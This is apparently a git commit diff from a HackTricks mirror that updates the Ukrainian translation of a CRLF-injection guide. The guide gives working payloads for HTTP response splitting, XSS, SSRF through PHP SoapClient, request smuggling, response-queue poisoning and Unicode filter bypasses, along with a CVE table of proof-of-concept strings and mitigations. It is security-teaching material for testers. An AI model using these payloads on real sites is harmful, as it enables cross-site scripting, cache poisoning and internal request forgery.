mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/crlf-0d-0a.md'] to uk
This commit is contained in:
Translator
parent
7f64d65a36
commit
4b887014fd
@ -8,13 +8,13 @@
|
||||
|
||||
### CRLF Injection Vulnerability
|
||||
|
||||
Вразливість CRLF injection полягає у вставці символів CR та LF у введення, надане користувачем. Ця дія вводить в оману сервер, додаток або користувача, змушуючи їх інтерпретувати вставлену послідовність як кінець однієї відповіді та початок іншої. Хоча ці символи не є inherently шкідливими, їхнє неправильне використання може призвести до розділення HTTP-відповідей та інших зловмисних дій.
|
||||
Вразливість CRLF injection полягає у вставці символів CR та LF у введення, надане користувачем. Ця дія вводить в оману сервер, додаток або користувача, змушуючи їх інтерпретувати вставлену послідовність як кінець однієї відповіді та початок іншої. Хоча ці символи не є inherently harmful, їхнє неправильне використання може призвести до розділення HTTP-відповідей та інших шкідливих дій.
|
||||
|
||||
### Example: CRLF Injection in a Log File
|
||||
|
||||
[Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
Розглянемо файл журналу в адміністративній панелі, який має формат: `IP - Час - Відвіданий шлях`. Типовий запис може виглядати так:
|
||||
Розгляньте файл журналу в адміністративній панелі, який має формат: `IP - Час - Відвіданий шлях`. Типовий запис може виглядати так:
|
||||
```
|
||||
123.123.123.123 - 08:15 - /index.php?page=home
|
||||
```
|
||||
@ -35,14 +35,14 @@ IP - Time - Visited Path
|
||||
|
||||
#### Опис
|
||||
|
||||
HTTP Response Splitting — це вразливість безпеки, яка виникає, коли атакуючий експлуатує структуру HTTP-відповідей. Ця структура розділяє заголовки від тіла за допомогою специфічної послідовності символів, що складається з Carriage Return (CR), за яким слідує Line Feed (LF), що разом називається CRLF. Якщо атакуючий зможе вставити послідовність CRLF у заголовок відповіді, він може ефективно маніпулювати наступним вмістом відповіді. Цей тип маніпуляції може призвести до серйозних проблем безпеки, зокрема до Cross-site Scripting (XSS).
|
||||
HTTP Response Splitting — це вразливість безпеки, яка виникає, коли атакуючий експлуатує структуру HTTP-відповідей. Ця структура розділяє заголовки від тіла за допомогою специфічної послідовності символів, що складається з Carriage Return (CR), за яким слідує Line Feed (LF), що в сукупності називається CRLF. Якщо атакуючий зможе вставити послідовність CRLF у заголовок відповіді, він може ефективно маніпулювати наступним вмістом відповіді. Цей тип маніпуляції може призвести до серйозних проблем безпеки, зокрема до Cross-site Scripting (XSS).
|
||||
|
||||
#### XSS через HTTP Response Splitting
|
||||
|
||||
1. Додаток встановлює власний заголовок, наприклад: `X-Custom-Header: UserInput`
|
||||
2. Додаток отримує значення для `UserInput` з параметра запиту, скажімо, "user_input". У сценаріях, де відсутня належна валідація та кодування вхідних даних, атакуючий може створити корисне навантаження, яке містить послідовність CRLF, за якою слідує зловмисний вміст.
|
||||
3. Атакуючий створює URL з особливо підготовленим 'user_input': `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
|
||||
- У цьому URL, `%0d%0a%0d%0a` є URL-кодованою формою CRLFCRLF. Це обманює сервер, змушуючи його вставити послідовність CRLF, змушуючи сервер сприймати наступну частину як тіло відповіді.
|
||||
- У цьому URL `%0d%0a%0d%0a` є URL-кодованою формою CRLFCRLF. Це обманює сервер, змушуючи його вставити послідовність CRLF, змушуючи сервер розглядати наступну частину як тіло відповіді.
|
||||
4. Сервер відображає введення атакуючого в заголовку відповіді, що призводить до ненавмисної структури відповіді, де зловмисний скрипт інтерпретується браузером як частина тіла відповіді.
|
||||
|
||||
#### Приклад HTTP Response Splitting, що призводить до перенаправлення
|
||||
@ -68,8 +68,6 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT
|
||||
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
```
|
||||
Перегляньте більше прикладів за адресою:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
|
||||
{{#endref}}
|
||||
@ -80,11 +78,11 @@ https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.
|
||||
|
||||
#### Експлуатація CORS через впровадження HTTP заголовків
|
||||
|
||||
Зловмисник може вставити HTTP заголовки, щоб активувати CORS (Cross-Origin Resource Sharing), обходячи обмеження, накладені SOP. Це порушення дозволяє скриптам з шкідливих джерел взаємодіяти з ресурсами з іншого джерела, потенційно отримуючи доступ до захищених даних.
|
||||
Зловмисник може вставити HTTP заголовки, щоб активувати CORS (Cross-Origin Resource Sharing), обходячи обмеження, накладені SOP. Цей злом дозволяє скриптам з шкідливих джерел взаємодіяти з ресурсами з іншого джерела, потенційно отримуючи доступ до захищених даних.
|
||||
|
||||
#### SSRF та ін'єкція HTTP запитів через CRLF
|
||||
|
||||
CRLF ін'єкція може бути використана для створення та вставки абсолютно нового HTTP запиту. Яскравим прикладом цього є вразливість у класі PHP `SoapClient`, зокрема в параметрі `user_agent`. Маніпулюючи цим параметром, зловмисник може вставити додаткові заголовки та вміст тіла, або навіть повністю ін'єктувати новий HTTP запит. Нижче наведено приклад PHP, що демонструє цю експлуатацію:
|
||||
CRLF ін'єкція може бути використана для створення та впровадження абсолютно нового HTTP запиту. Яскравим прикладом цього є вразливість у класі `SoapClient` PHP, зокрема в параметрі `user_agent`. Маніпулюючи цим параметром, зловмисник може вставити додаткові заголовки та вміст тіла, або навіть впровадити новий HTTP запит повністю. Нижче наведено приклад PHP, що демонструє цю експлуатацію:
|
||||
```php
|
||||
$target = 'http://127.0.0.1:9090/test';
|
||||
$post_string = 'variable=post value';
|
||||
@ -109,15 +107,15 @@ array(
|
||||
# Put a netcat listener on port 9090
|
||||
$client->__soapCall("test", []);
|
||||
```
|
||||
### Впровадження заголовків для підміни запитів
|
||||
### Впровадження заголовків для обману запитів
|
||||
|
||||
Для отримання додаткової інформації про цю техніку та потенційні проблеми [**перевірте оригінальне джерело**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
|
||||
|
||||
Ви можете впроваджувати необхідні заголовки, щоб забезпечити **збереження з'єднання на бекенді** після відповіді на початковий запит:
|
||||
Ви можете впроваджувати важливі заголовки, щоб забезпечити, що **бекенд зберігає з'єднання відкритим** після відповіді на початковий запит:
|
||||
```
|
||||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||||
```
|
||||
Після цього можна вказати другий запит. Цей сценарій зазвичай включає [HTTP request smuggling](http-request-smuggling/), техніку, при якій додаткові заголовки або елементи тіла, додані сервером після ін'єкції, можуть призвести до різних експлойтів безпеки.
|
||||
Після цього можна вказати другий запит. Цей сценарій зазвичай включає [HTTP request smuggling](http-request-smuggling/), техніку, де додаткові заголовки або елементи тіла, додані сервером після ін'єкції, можуть призвести до різних експлойтів безпеки.
|
||||
|
||||
**Експлуатація:**
|
||||
|
||||
@ -125,7 +123,7 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
||||
|
||||
2. **Створення префікса для отруєння черги відповідей**: Цей підхід передбачає створення префікса, який, у поєднанні з залишковим сміттям, формує повний другий запит. Це може викликати отруєння черги відповідей. Приклад:
|
||||
2. **Створення префікса для отруєння черги відповідей**: Цей підхід передбачає створення префікса, який, у поєднанні з кінцевим сміттям, формує повний другий запит. Це може спровокувати отруєння черги відповідей. Приклад:
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
||||
|
||||
@ -155,7 +153,7 @@ Memcache є **сховищем ключ-значення, яке викорис
|
||||
|
||||
1. **Уникати прямого введення користувача в заголовках відповіді:** Найбезпечніший підхід - утримуватися від включення введення, наданого користувачем, безпосередньо в заголовки відповіді.
|
||||
2. **Кодувати спеціальні символи:** Якщо уникнути прямого введення користувача неможливо, переконайтеся, що ви використовуєте функцію, призначену для кодування спеціальних символів, таких як CR (Carriage Return) і LF (Line Feed). Ця практика запобігає можливості ін'єкції CRLF.
|
||||
3. **Оновити мову програмування:** Регулярно оновлюйте мову програмування, що використовується у ваших веб-додатках, до останньої версії. Вибирайте версію, яка за замовчуванням забороняє ін'єкцію символів CR і LF у функціях, що відповідають за встановлення HTTP заголовків.
|
||||
3. **Оновити мову програмування:** Регулярно оновлюйте мову програмування, що використовується у ваших веб-додатках, до останньої версії. Обирайте версію, яка за замовчуванням забороняє ін'єкцію символів CR і LF у функціях, що відповідають за встановлення HTTP заголовків.
|
||||
|
||||
### CHEATSHEET
|
||||
|
||||
@ -181,20 +179,57 @@ Memcache є **сховищем ключ-значення, яке викорис
|
||||
• %E5%98%BC = %3C = \u563c (<)
|
||||
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
|
||||
```
|
||||
### Останні вразливості (2023 – 2025)
|
||||
|
||||
Останні кілька років призвели до появи кількох вразливостей CRLF/HTTP header-injection з високим впливом у широко використовуваних компонентах на стороні сервера та клієнта. Відтворення та вивчення їх локально є відмінним способом зрозуміти реальні патерни експлуатації.
|
||||
|
||||
| Рік | Компонент | CVE / Advisory | Коренева причина | Основна PoC |
|
||||
|------|-----------|---------------|------------|---------------|
|
||||
| 2024 | RestSharp (≥110.0.0 <110.2.0) | **CVE-2024-45302** | Допоміжна функція `AddHeader()` не очищала CR/LF, що дозволяло створення кількох заголовків запиту, коли RestSharp використовувався як HTTP-клієнт у бекенд-сервісах. Системи нижнього рівня могли бути змушені до SSRF або підміни запитів. | `client.AddHeader("X-Foo","bar%0d%0aHost:evil")` |
|
||||
| 2024 | Refit (≤ 7.2.101) | **CVE-2024-51501** | Атрибути заголовків на методах інтерфейсу копіювалися дослівно у запит. Вбудовуючи `%0d%0a`, зловмисники могли додавати довільні заголовки або навіть другий запит, коли Refit використовувався серверними робочими завданнями. | `[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")]` |
|
||||
| 2023 | Apache APISIX Dashboard | **GHSA-4h3j-f5x9-r6x3** | Параметр `redirect`, наданий користувачем, відображався у заголовку `Location:` без кодування, що дозволяло відкриту переадресацію + отруєння кешу. | `/login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script>` |
|
||||
|
||||
Ці вразливості важливі, оскільки вони спрацьовують **всередині коду на рівні додатків** і не лише на краю веб-сервера. Будь-який внутрішній компонент, який виконує HTTP-запити або встановлює заголовки відповіді, повинен забезпечувати фільтрацію CR/LF.
|
||||
|
||||
### Розширені обходи Unicode / контрольних символів
|
||||
|
||||
Сучасні стеки WAF/переписувачів часто видаляють літеральні `\r`/`\n`, але забувають про інші символи, які багато бекендів трактують як термінатори рядків. Коли CRLF фільтрується, спробуйте:
|
||||
|
||||
* `%E2%80%A8` (`U+2028` – РОЗДІЛЬНИК РЯДКІВ)
|
||||
* `%E2%80%A9` (`U+2029` – РОЗДІЛЬНИК ПАРАГРАФІВ)
|
||||
* `%C2%85` (`U+0085` – НАСТУПНИЙ РЯДОК)
|
||||
|
||||
Деякі фреймворки Java, Python та Go перетворюють їх на `\n` під час парсингу заголовків (див. дослідження Praetorian 2023 року). Поєднуйте їх з класичними payloads:
|
||||
```
|
||||
/%0A%E2%80%A8Set-Cookie:%20admin=true
|
||||
```
|
||||
Якщо фільтр спочатку нормалізує UTF-8, контрольний символ перетворюється на звичайний символ переносу рядка, і введений заголовок приймається.
|
||||
|
||||
### WAF Evasion via Duplicate `Content-Encoding` Trick (2023)
|
||||
|
||||
Дослідники Praetorian також показали, що шляхом інжекції:
|
||||
```
|
||||
%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
|
||||
```
|
||||
в відображеному заголовку браузери ігноруватимуть тіло, надане сервером, і відобразять HTML, наданий атакуючим, що призводить до збереженого XSS, навіть коли власний контент програми є неактивним. Оскільки `Content-Encoding: identity` дозволено RFC 9110, багато зворотних проксі передають його без змін.
|
||||
|
||||
## Автоматичні інструменти
|
||||
|
||||
- [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
|
||||
- [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
|
||||
* [CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) – швидкий активний сканер, написаний на Go.
|
||||
* [crlfuzz](https://github.com/dwisiswant0/crlfuzz) – фузер на основі словника, який підтримує навантаження Unicode для нових рядків.
|
||||
* [crlfix](https://github.com/glebarez/crlfix) – утиліта 2024 року, яка виправляє HTTP-запити, згенеровані програмами на Go, і може використовуватися окремо для тестування внутрішніх сервісів.
|
||||
|
||||
## Список виявлення брутфорсу
|
||||
## Список виявлення грубої сили
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
|
||||
- [carlospolop/Auto_Wordlists – crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
|
||||
|
||||
## Посилання
|
||||
|
||||
- [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
||||
- [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
- [https://www.invicti.com/blog/web-security/crlf-http-header/](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
||||
- [https://www.acunetix.com/websitesecurity/crlf-injection/](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
- [https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
- [https://www.netsparker.com/blog/web-security/crlf-http-header/](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
- [https://nvd.nist.gov/vuln/detail/CVE-2024-45302](https://nvd.nist.gov/vuln/detail/CVE-2024-45302)
|
||||
- [https://security.praetorian.com/blog/2023-unicode-newlines-bypass/](https://security.praetorian.com/blog/2023-unicode-newlines-bypass/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user